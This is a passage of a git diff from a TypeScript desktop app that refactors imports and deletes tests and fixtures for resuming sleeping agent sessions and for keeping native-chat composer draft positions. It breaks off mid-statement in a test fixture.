-      paneKey: completedPaneKey,
-      tabId: 'tab-completed',
-      origin: 'quit',
-      state: 'done',
-      capturedAt: 1,
-      updatedAt: 1,
-      launchConfig: { agentArgs: '--completed', agentEnv: {} }
-    })
-    const active = makeRecord({
-      paneKey: activePaneKey,
-      tabId: 'tab-active',
-      origin: 'quit',
-      capturedAt: 2,
-      updatedAt: 2,
-      launchConfig: { agentArgs: '--active', agentEnv: {} }
-    })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-active'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-active', 'wt-1')] },
-      terminalLayoutsByTabId: {
-        'tab-active': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null
-        }
-      },
-      sleepingAgentSessionsByPaneKey: {
-        [completed.paneKey]: completed,
-        [active.paneKey]: active
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-active')
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.launchConfig).toMatchObject({
-      agentArgs: '--active'
-    })
-    expect(state.sleepingAgentSessionsByPaneKey[completed.paneKey]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[active.paneKey]).toBeUndefined()
-  })
-
-  it('does not let invalid pane-owned records block a valid duplicate resume', () => {
-    const invalidPaneKey = makePaneKey('tab-1', LEAF_ID)
-    const validPaneKey = makePaneKey('missing-tab', OTHER_LEAF_ID)
-    const invalid = makeRecord({
-      paneKey: invalidPaneKey,
-      origin: 'live',
-      capturedAt: 3_000_000,
-      updatedAt: 1
-    })
-    const valid = makeRecord({
-      paneKey: validPaneKey,
-      tabId: 'missing-tab',
-      origin: 'quit',
-      capturedAt: 3_000_001,
-      updatedAt: 3_000_001
-    })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: { 'tab-1': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: {
-        [invalid.paneKey]: invalid,
-        [valid.paneKey]: valid
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.sleepingAgentSessionsByPaneKey[invalid.paneKey]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[valid.paneKey]).toBeUndefined()
-  })
-
-  it('fresh-resumes when explicit tabId disagrees with the stable pane-key tab id', () => {
-    const paneKey = makePaneKey('parsed-tab', LEAF_ID)
-    const record = makeRecord({ paneKey, tabId: 'explicit-tab', origin: 'quit' })
-    useAppStore.setState({
-      tabsByWorktree: {
-        'wt-1': [makeTerminalTab('explicit-tab', 'wt-1'), makeTerminalTab('parsed-tab', 'wt-1')]
-      },
-      terminalLayoutsByTabId: {
-        'explicit-tab': makeLayout(LEAF_ID),
-        'parsed-tab': makeLayout(LEAF_ID)
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find(
-      (tab) => tab.id !== 'explicit-tab' && tab.id !== 'parsed-tab'
-    )
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('clears completed worktree-sleep records without preserved panes instead of resuming', () => {
-    const record = makeRecord({ origin: 'worktree-sleep', state: 'done' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toEqual([])
-    expect(state.pendingStartupByTabId).toEqual({})
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('clears stale manual records without launching a tab', () => {
-    const record = makeRecord({ capturedAt: 3_000_000, updatedAt: 1 })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(0)
-    expect(useAppStore.getState().tabsByWorktree['wt-1']).toEqual([])
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('resumes interrupted manual records that no preserved pane can own', () => {
-    const record = makeRecord({ origin: 'quit', interrupted: true })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(1)
-    expect(state.tabsByWorktree['wt-1']?.[0]?.launchAgent).toBe('claude')
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('clears hydrated interrupted worktree-sleep records without launching a tab', () => {
-    const parsed = parseWorkspaceSession({
-      activeRepoId: null,
-      activeWorktreeId: null,
-      activeTabId: null,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      sleepingAgentSessionsByPaneKey: {
-        'tab-1:leaf-1': makeRecord({
-          state: 'done',
-          origin: 'worktree-sleep',
-          interrupted: true
-        })
-      }
-    })
-    expect(parsed.ok).toBe(true)
-    if (!parsed.ok) {
-      throw new Error(parsed.error)
-    }
-    const record = parsed.value.sleepingAgentSessionsByPaneKey!['tab-1:leaf-1']!
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(0)
-    expect(useAppStore.getState().tabsByWorktree['wt-1']).toEqual([])
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('clears legacy completed live records without launching a tab', () => {
-    const record = makeRecord({ state: 'done' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(0)
-    expect(useAppStore.getState().tabsByWorktree['wt-1']).toEqual([])
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('uses WSL resume quoting for Windows-path projects forced to WSL', () => {
-    const record = makeRecord({
-      providerSession: { key: 'session_id', id: "sess-1's" },
-      origin: 'quit'
-    })
-    useAppStore.setState({
-      activeRepoId: 'repo-1',
-      activeWorktreeId: 'wt-1',
-      repos: [{ id: 'repo-1', path: 'C:\\repo', displayName: 'repo', addedAt: 1 }],
-      projects: [
-        {
-          id: 'repo-1',
-          sourceRepoIds: ['repo-1'],
-          localWindowsRuntimePreference: { kind: 'wsl', distro: 'Ubuntu' }
-        }
-      ],
-      settings: {
-        localWindowsRuntimeDefault: { kind: 'windows-host' },
-        agentCmdOverrides: {}
-      },
-      worktreesByRepo: {
-        'repo-1': [
-          {
-            id: 'wt-1',
-            repoId: 'repo-1',
-            path: 'C:\\repo',
-            displayName: 'repo',
-            branch: 'main'
-          }
-        ]
-      },
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(1)
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.[0]
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.command).toContain(
-      `'--resume' 'sess-1'"'"'s'`
-    )
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.ts b/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.ts
index 3549489d6d7..8e8ac43ff18 100644
--- a/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.ts
+++ b/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.ts
@@ -1,10 +1,8 @@
 import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
 import { useAppStore } from '@/store/index'
 import { isWorkspaceSleepRecord } from '../../../../../shared/workspace-sleep'
-import {
-  agentProviderSessionsEqual,
-  type SleepingAgentSessionRecord
-} from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import { agentProviderSessionsEqual } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
 import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { getProviderSessionClaimKey } from '../../../../../shared/sleeping-record-legacy-pane-key'
@@ -16,17 +14,15 @@ import {
 } from './sleeping-agent-pane-ownership'
 import { isPaneSpawnDeferred } from '../../../components/terminal-pane/session-restore/spawn-deferral/pane-spawn-deferral-registry'
 import { settleSweptRecord, sweepTreatsAsFinished } from './swept-sleep-record-settlement'
-import {
-  launchSleepingAgentSession,
-  type ResumeSleepingAgentSessionsOptions
-} from './sleeping-agent-session-launch'
+import { launchSleepingAgentSession } from './sleeping-agent-session-launch'
+import type { ResumeSleepingAgentSessionsOptions } from './sleeping-agent-session-launch'
 import { isStructuredAgentSyntheticSleepingRecord } from './structured-agent-synthetic-sleeping-record'
 import {
   findUnhydratedHostMirrorForPane,
-  isHostMirroredSleepingRecord,
-  type UnhydratedHostMirror
+  isHostMirroredSleepingRecord
 } from './host-mirrored-pane-liveness'
-import { parkUntilHostMirrorHandleLands } from '../../host-mirror-handle-gap-wait'
+import type { UnhydratedHostMirror } from './host-mirrored-pane-liveness'
+import { parkUntilHostMirrorHandleLands } from './host-mirror-handle-gap-wait'
 import { getClaimRepresentativeRecords } from './sleeping-record-claim-representative'
 import {
   sleepingRecordHostAllowsSessionClaim,
diff --git a/src/renderer/src/lib/agent-session/resume/sleeping-agent-session-launch.ts b/src/renderer/src/lib/agent-session/resume/sleeping-agent-session-launch.ts
index ca765a10bd2..7e8c8625f27 100644
--- a/src/renderer/src/lib/agent-session/resume/sleeping-agent-session-launch.ts
+++ b/src/renderer/src/lib/agent-session/resume/sleeping-agent-session-launch.ts
@@ -9,15 +9,15 @@ import {
   resolveRuntimeHostReportedPlatform,
   resolveRuntimeHostTerminalWindowsShell,
   resolveSshHostReportedPlatform,
-  resolveAgentResumeLaunchTarget,
-  type AgentResumeLaunchTarget
+  resolveAgentResumeLaunchTarget
 } from '@/lib/agent-session/resume/agent-resume-launch-target'
+import type { AgentResumeLaunchTarget } from '@/lib/agent-session/resume/agent-resume-launch-target'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeEnvironmentIdUnlessTwin } from '@/lib/workspace/ownership/resolve-owner'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { resolveResumeLaunchRecipe } from '../../../../../shared/agent-launch/choices/resume-launch-recipe'
-import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { translate } from '@/i18n/i18n'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 
 export type ResumeSleepingAgentSessionsOptions = {
   suppressNavigation?: boolean
diff --git a/src/renderer/src/lib/sleeping-agent-wake-requests.ts b/src/renderer/src/lib/agent-session/resume/sleeping-agent-wake-requests.ts
similarity index 84%
rename from src/renderer/src/lib/sleeping-agent-wake-requests.ts
rename to src/renderer/src/lib/agent-session/resume/sleeping-agent-wake-requests.ts
index add89cd1d80..84725e394a1 100644
--- a/src/renderer/src/lib/sleeping-agent-wake-requests.ts
+++ b/src/renderer/src/lib/agent-session/resume/sleeping-agent-wake-requests.ts
@@ -1,10 +1,10 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
 import {
   parseLegacyNumericPaneKey,
   parsePaneKey
-} from '../../../shared/workspace-layout/stable-pane-id'
+} from '../../../../../shared/workspace-layout/stable-pane-id'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 
 // Why record identity: a replaced or cleared record drops its request, so a stale ask never wakes a later sleep.
 const requestedRecords = new WeakSet<SleepingAgentSessionRecord>()
diff --git a/src/renderer/src/lib/agent-session/resume/wake-sleeping-agents-in-background.ts b/src/renderer/src/lib/agent-session/resume/wake-sleeping-agents-in-background.ts
index cf0e7f56c78..b75a8fc1f34 100644
--- a/src/renderer/src/lib/agent-session/resume/wake-sleeping-agents-in-background.ts
+++ b/src/renderer/src/lib/agent-session/resume/wake-sleeping-agents-in-background.ts
@@ -1,13 +1,10 @@
-import {
-  WAKE_HIBERNATED_AGENTS_WORKTREE_EVENT,
-  type WakeHibernatedAgentsWorktreeDetail
-} from '@/constants/terminal'
+import { WAKE_HIBERNATED_AGENTS_WORKTREE_EVENT } from '@/constants/terminal'
+import type { WakeHibernatedAgentsWorktreeDetail } from '@/constants/terminal'
 import { requestBackgroundTerminalWorktreeMount } from '@/components/terminal/background-terminal-worktree-mount'
 import { useAppStore } from '@/store/index'
-import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { isWorkspaceSleepRecord } from '../../../../../shared/workspace-sleep'
 import { resumeSleepingAgentSessionsForWorktree } from './resume-sleeping-agent-session'
-import { getSleepingRecordTabId } from '../../sleeping-agent-wake-requests'
+import { getSleepingRecordTabId } from './sleeping-agent-wake-requests'
 import { resolveActivationPtyListScope } from '../../workspace/activation/worktree-activation-pty-inventory'
 import { gateWorktreeAgentActivation } from '../../workspace/activation/worktree-agent-activation-gate'
 import { getProviderSessionClaimKey } from '../../../../../shared/sleeping-record-legacy-pane-key'
@@ -16,6 +13,8 @@ import {
   isStrandedWorkspaceSleepRecord,
   recordPaneIsOwnedByPreservedPane
 } from './sleeping-agent-pane-ownership'
+import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 
 type BackgroundSleepingAgentWakeDispatcherOptions = {
   isWorkspaceSessionReady?: () => boolean
@@ -190,4 +189,3 @@ export function wakeSleepingAgentsForWorktreeInBackground(worktreeId: string): v
   }
   resumeSleepingAgentSessionsForWorktree(worktreeId, resumeOptions)
 }
-import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-busy.ts b/src/renderer/src/lib/agent-session/structured-agent-session-busy.ts
index 92b61d07c45..af6bc9f653b 100644
--- a/src/renderer/src/lib/agent-session/structured-agent-session-busy.ts
+++ b/src/renderer/src/lib/agent-session/structured-agent-session-busy.ts
@@ -3,10 +3,8 @@ import { useAppStore } from '@/store'
 import type { Tab } from '../../../../shared/tab-types'
 import { structuredAgentSessionPaneKey } from '../../../../shared/agent-session/view/structured-agent-session-projection'
 import { agentChildWorkLiveness } from '../../../../shared/agent-status/child-work/agent-status-child-work-liveness'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  structuredAgentSessionLaunchHasRetainedInput
-} from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
+import { getStructuredAgentSessionLaunchLifecycle } from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
+import { structuredAgentSessionLaunchHasRetainedInput } from '@/lib/agent-session/launch/structured-agent-session-launch-input'
 import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
 import { getStructuredAgentSessionStatusFeed } from '@/runtime/native-chat/status/structured-agent-session-status-feed'
 import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-draft-position-lifetime.test.tsx b/src/renderer/src/lib/agent-session/structured-agent-session-draft-position-lifetime.test.tsx
deleted file mode 100644
index 9fb4b7f9f80..00000000000
--- a/src/renderer/src/lib/agent-session/structured-agent-session-draft-position-lifetime.test.tsx
+++ /dev/null
@@ -1,256 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  main,
-  rpc,
-  storage,
-  POSITION_TEXT,
-  openPositionDraft,
-  PositionField,
-  positionInventory
-} from './structured-agent-session-draft-position.test-fixture'
-
-import { seedStructuredAgentLaunchDraft } from './launch/structured-agent-session-launch-draft'
-import { publishedLayoutsOf } from '@/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture'
-import { applyStructuredSessionTabSnapshots } from '@/runtime/local-structured-session-tabs-sync/snapshot-apply'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-
-import { render, within } from '@testing-library/react'
-import { createRef, StrictMode } from 'react'
-import type { NativeChatComposerInput } from '@/components/native-chat/composer/editor/native-chat-composer-input'
-import { promptEditor } from '@/components/native-chat/composer/editor/native-chat-prompt-editor.test-support'
-import { expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import { getStructuredLaunchStateBySessionId } from './launch/structured-agent-session-launch-registry'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { hydrateNativeChatComposerDrafts } from '@/components/native-chat/drafts/native-chat-composer-draft-load'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { setNativeChatComposerDraftStorageForTests } from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
-import { promptTextContent } from '@/components/native-chat/composer/editor/native-chat-prompt-document-text'
-import { openStructuredAgentSessionProvisionalTab } from './launch/structured-agent-session-launch-surface'
-
-it
-  .runIf(ORCA_LAYOUT_OWNER_IS_MAIN)
-  .each(['discarded-inventory', 'refused-close', 'excluded-close'] as const)(
-  'keeps fresh END on the actually drawn destination after %s, then retires on accepted removal',
-  async (schedule) => {
-    const handle = openPositionDraft(),
-      scope = structuredAgentSessionDraftScopeKey(handle.sessionId)
-    await main.settle()
-    await vi.waitFor(() =>
-      expect(rpc.call.mock.calls.some(([, method]) => method === 'agentSession.create')).toBe(true)
-    )
-    await handle.finish()
-    applyStructuredSessionTabSnapshots([positionInventory(handle.sessionId, 1)])
-    const original = readNativeChatComposerDraft(scope)
-    if (schedule === 'discarded-inventory') {
-      applyStructuredSessionTabSnapshots([positionInventory(null, 2)])
-    } else {
-      layoutApplyTestTransport.answerWith((command) =>
-        command.type === 'closeTabs'
-          ? schedule === 'refused-close'
-            ? { ok: false, code: 'tab_not_found' }
-            : { ok: true, result: { closed: [], refused: [] } }
-          : 'apply'
-      )
-      useAppStore.getState().closeUnifiedTab(handle.tab.id)
-      await main.settle()
-      layoutApplyTestTransport.answerWith('apply')
-    }
-    expect(useAppStore.getState().getTab(handle.tab.id)?.entityId).toBe(handle.sessionId)
-    const input = createRef<NativeChatComposerInput>()
-    const mount = () =>
-      render(
-        <StrictMode>
-          <PositionField scope={scope} tabId={handle.tab.id} input={input} />
-        </StrictMode>
-      )
-    const first = mount()
-    expect(input.current!.selectionStart).toBe(POSITION_TEXT.length)
-    first.unmount()
-    useAppStore.getState().closeUnifiedTab(handle.tab.id)
-    await main.settle()
-    expect(useAppStore.getState().getTab(handle.tab.id)).toBeNull()
-    openStructuredAgentSessionProvisionalTab({
-      worktreeId: 'wt-1',
-      executionHostId: 'local',
-      sessionId: handle.sessionId,
-      agent: 'claude'
-    })
-    await main.settle()
-    const reopened = mount()
-    expect(input.current!.selectionStart).toBe(0)
-    expect(input.current!.value).toBe(POSITION_TEXT)
-    expect(readNativeChatComposerDraft(scope)).toBe(original)
-    reopened.unmount()
-  }
-)
-
-it.runIf(ORCA_LAYOUT_OWNER_IS_MAIN).each(['fresh', 'restored', 'newer-seed'] as const)(
-  'settles actual no-surface open without retiring another occurrence: %s',
-  async (kind) => {
-    const uuid = '11111111-2222-4333-8444-555555555555'
-    vi.spyOn(crypto, 'randomUUID').mockReturnValue(uuid)
-    const id = `claude_${uuid.replaceAll('-', '_')}`,
-      scope = structuredAgentSessionDraftScopeKey(id)
-    if (kind === 'restored') {
-      await storage.write(scope, {
-        text: POSITION_TEXT,
-        document: promptTextContent(POSITION_TEXT),
-        images: [],
-        savedAt: 1
-      })
-      clearNativeChatComposerDraftsForTests()
-      setNativeChatComposerDraftStorageForTests(storage)
-      await hydrateNativeChatComposerDrafts()
-    }
-    layoutApplyTestTransport.answerWith('pending')
-    const handle = openPositionDraft()
-    await vi.waitFor(() => expect(layoutApplyTestTransport.pendingCount).toBeGreaterThan(0))
-    const original = readNativeChatComposerDraft(scope)
-    if (kind === 'newer-seed') {
-      updateNativeChatComposerDraft(scope, { text: '', document: undefined }, 'immediate')
-      const state = getStructuredLaunchStateBySessionId(id)
-      if (!state) {
-        throw new Error('Expected live initializer owner')
-      }
-      seedStructuredAgentLaunchDraft(state, {
-        requestId: 'newer-accepted-seed',
-        prompt: POSITION_TEXT,
-        promptDelivery: 'draft'
-      })
-    }
-    layoutApplyTestTransport.answerPending({ ok: false, code: 'tab_not_found' })
-    layoutApplyTestTransport.answerWith('apply')
-    await handle.finish()
-    expect(useAppStore.getState().getTab(handle.tab.id)).toBeNull()
-    const input = createRef<NativeChatComposerInput>()
-    const mount = () =>
-      render(
-        <StrictMode>
-          <PositionField scope={scope} tabId={handle.tab.id} input={input} />
-        </StrictMode>
-      )
-    const first = mount()
-    expect(input.current!.value).toBe(POSITION_TEXT)
-    expect(input.current!.selectionStart).toBe(kind === 'newer-seed' ? POSITION_TEXT.length : 0)
-    if (kind !== 'newer-seed') {
-      expect(readNativeChatComposerDraft(scope)).toBe(original)
-    }
-    first.unmount()
-    const second = mount()
-    expect(input.current!.selectionStart).toBe(0)
-    second.unmount()
-  }
-)
-
-it.each(['remove', 'replace', 'final-retained'] as const)(
-  'retires at actual final accepted topology, preserving ordinary bytes: %s',
-  async (kind) => {
-    const handle = openPositionDraft(),
-      scope = structuredAgentSessionDraftScopeKey(handle.sessionId)
-    await handle.finish()
-    applyStructuredSessionTabSnapshots([positionInventory(handle.sessionId, 1)])
-    const original = readNativeChatComposerDraft(scope)
-    const observedInput = createRef<NativeChatComposerInput>()
-    let observed: ReturnType<typeof render> | undefined
-    const unsubscribe = useAppStore.subscribe((state) => {
-      if (
-        kind !== 'final-retained' &&
-        state.getTab(handle.tab.id)?.entityId !== handle.sessionId &&
-        !observed
-      ) {
-        observed = render(
-          <PositionField scope={scope} tabId={handle.tab.id} input={observedInput} />
-        )
-        expect(observedInput.current!.selectionStart).toBe(0)
-      }
-    })
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      const model = layoutApplyTestTransport.mainModel
-      if (!model) {
-        throw new Error('Expected main model')
-      }
-      const layout = publishedLayoutsOf(model)['wt-1']!
-      if (kind === 'replace') {
-        const changed = structuredClone(layout)
-        changed.tabs.find((tab) => tab.id === handle.tab.id)!.entityId = 'replacement-session'
-        layoutApplyTestTransport.emitFrame({ type: 'workspace', key: 'wt-1', layout: changed })
-      } else if (kind === 'remove') {
-        const changed = {
-          ...layout,
-          tabs: layout.tabs.filter((tab) => tab.id !== handle.tab.id),
-          groups: layout.groups.map((group) => ({
-            ...group,
-            tabIds: group.tabIds.filter((id) => id !== handle.tab.id)
-          }))
-        }
-        layoutApplyTestTransport.emitFrame({ type: 'workspace', key: 'wt-1', layout: changed })
-      } else {
-        // Proposed removal and restoration are one accepted final batch.
-        layoutApplyTestTransport.emitFrame({
-          type: 'workspace',
-          key: 'wt-1',
-          layout: { ...layout, tabs: [], groups: [] }
-        })
-        layoutApplyTestTransport.emitFrame({ type: 'workspace', key: 'wt-1', layout })
-      }
-      await main.settle()
-    } else {
-      if (kind === 'replace') {
-        const inventory = positionInventory(handle.sessionId, 2)
-        inventory.tabs = inventory.tabs.map((tab) =>
-          tab.type === 'agent-session' ? { ...tab, sessionId: 'replacement-session' } : tab
-        )
-        applyStructuredSessionTabSnapshots([inventory])
-      } else {
-        applyStructuredSessionTabSnapshots(
-          kind === 'remove'
-            ? [positionInventory(null, 2)]
-            : [positionInventory(null, 2), positionInventory(handle.sessionId, 3)]
-        )
-      }
-    }
-    unsubscribe()
-    if (kind !== 'final-retained') {
-      expect(observedInput.current!.selectionStart).toBe(0)
-    }
-    observed?.unmount()
-    expect(readNativeChatComposerDraft(scope)).toBe(original)
-    if (kind !== 'final-retained') {
-      // Reopen the retained ordinary conversation through the existing API.
-      if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-        layoutApplyTestTransport.emitFrame({
-          type: 'workspace',
-          key: 'wt-1',
-          layout: publishedLayoutsOf(layoutApplyTestTransport.mainModel!)['wt-1']!
-        })
-        await main.settle()
-      } else {
-        openStructuredAgentSessionProvisionalTab({
-          worktreeId: 'wt-1',
-          executionHostId: 'local',
-          sessionId: handle.sessionId,
-          agent: 'claude'
-        })
-      }
-      await main.settle()
-    }
-    const input = createRef<NativeChatComposerInput>()
-    const view = render(
-      <StrictMode>
-        <PositionField scope={scope} tabId={handle.tab.id} input={input} />
-      </StrictMode>
-    )
-    expect(input.current!.value).toBe(POSITION_TEXT)
-    expect(input.current!.selectionStart).toBe(kind === 'final-retained' ? POSITION_TEXT.length : 0)
-    expect(promptEditor(within(view.container).getByRole('textbox')).getJSON()).toEqual(
-      original.document
-    )
-    view.unmount()
-  }
-)
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-draft-position.test-fixture.tsx b/src/renderer/src/lib/agent-session/structured-agent-session-draft-position.test-fixture.tsx
deleted file mode 100644
index 7e04fa95890..00000000000
--- a/src/renderer/src/lib/agent-session/structured-agent-session-draft-position.test-fixture.tsx
+++ /dev/null
@@ -1,218 +0,0 @@
-import type * as StructuredAgentSessionCall from '@/runtime/native-chat/requests/structured-agent-session-call'
-import type * as StructuredAgentSessionHostSupport from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-support'
-import { resetLocalStructuredSessionVersionForTests } from '@/runtime/local-structured-session-tabs-sync/inventory-generation-fence'
-import type { RuntimeMobileSessionTabsResult } from '../../../../shared/runtime-types'
-import type { createRef } from 'react'
-import {
-  NativeChatComposerField,
-  type NativeChatComposerFieldProps
-} from '@/components/native-chat/composer/editor/NativeChatComposerField'
-import type { NativeChatComposerInput } from '@/components/native-chat/composer/editor/native-chat-composer-input'
-import { useImeEnterGestureOwnership } from '@/lib/text-input/ime/ime-composition-keyboard-event'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import { afterEach, beforeEach, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-
-import { adoptAgentSessionLaunchVerdict } from './launch/routing/agent-session-launch-plan'
-import { beginStructuredAgentSessionProvisionalLaunch } from './structured-agent-session-provisional-tab'
-import { resetStructuredAgentLaunchRegistryForTests } from './launch/structured-agent-session-launch-registry'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { hydrateNativeChatComposerDrafts } from '@/components/native-chat/drafts/native-chat-composer-draft-load'
-import {
-  createMemoryNativeChatComposerDraftStorage,
-  setNativeChatComposerDraftStorageForTests
-} from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
-import { clearNativeChatPendingAttachmentsForTests } from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
-import { useNativeChatDraft } from '@/components/native-chat/drafts/use-native-chat-draft'
-const rpcMock = vi.hoisted(() => ({
-  call: vi.fn<(target: unknown, method: string, params: unknown) => Promise<unknown>>()
-}))
-export const rpc = rpcMock
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await original())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (original) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await original())
-)
-vi.mock('../../runtime/native-chat/requests/structured-agent-session-call', async (original) => ({
-  ...(await original<typeof StructuredAgentSessionCall>()),
-  callStructuredAgentSession: rpcMock.call
-}))
-
-vi.mock(
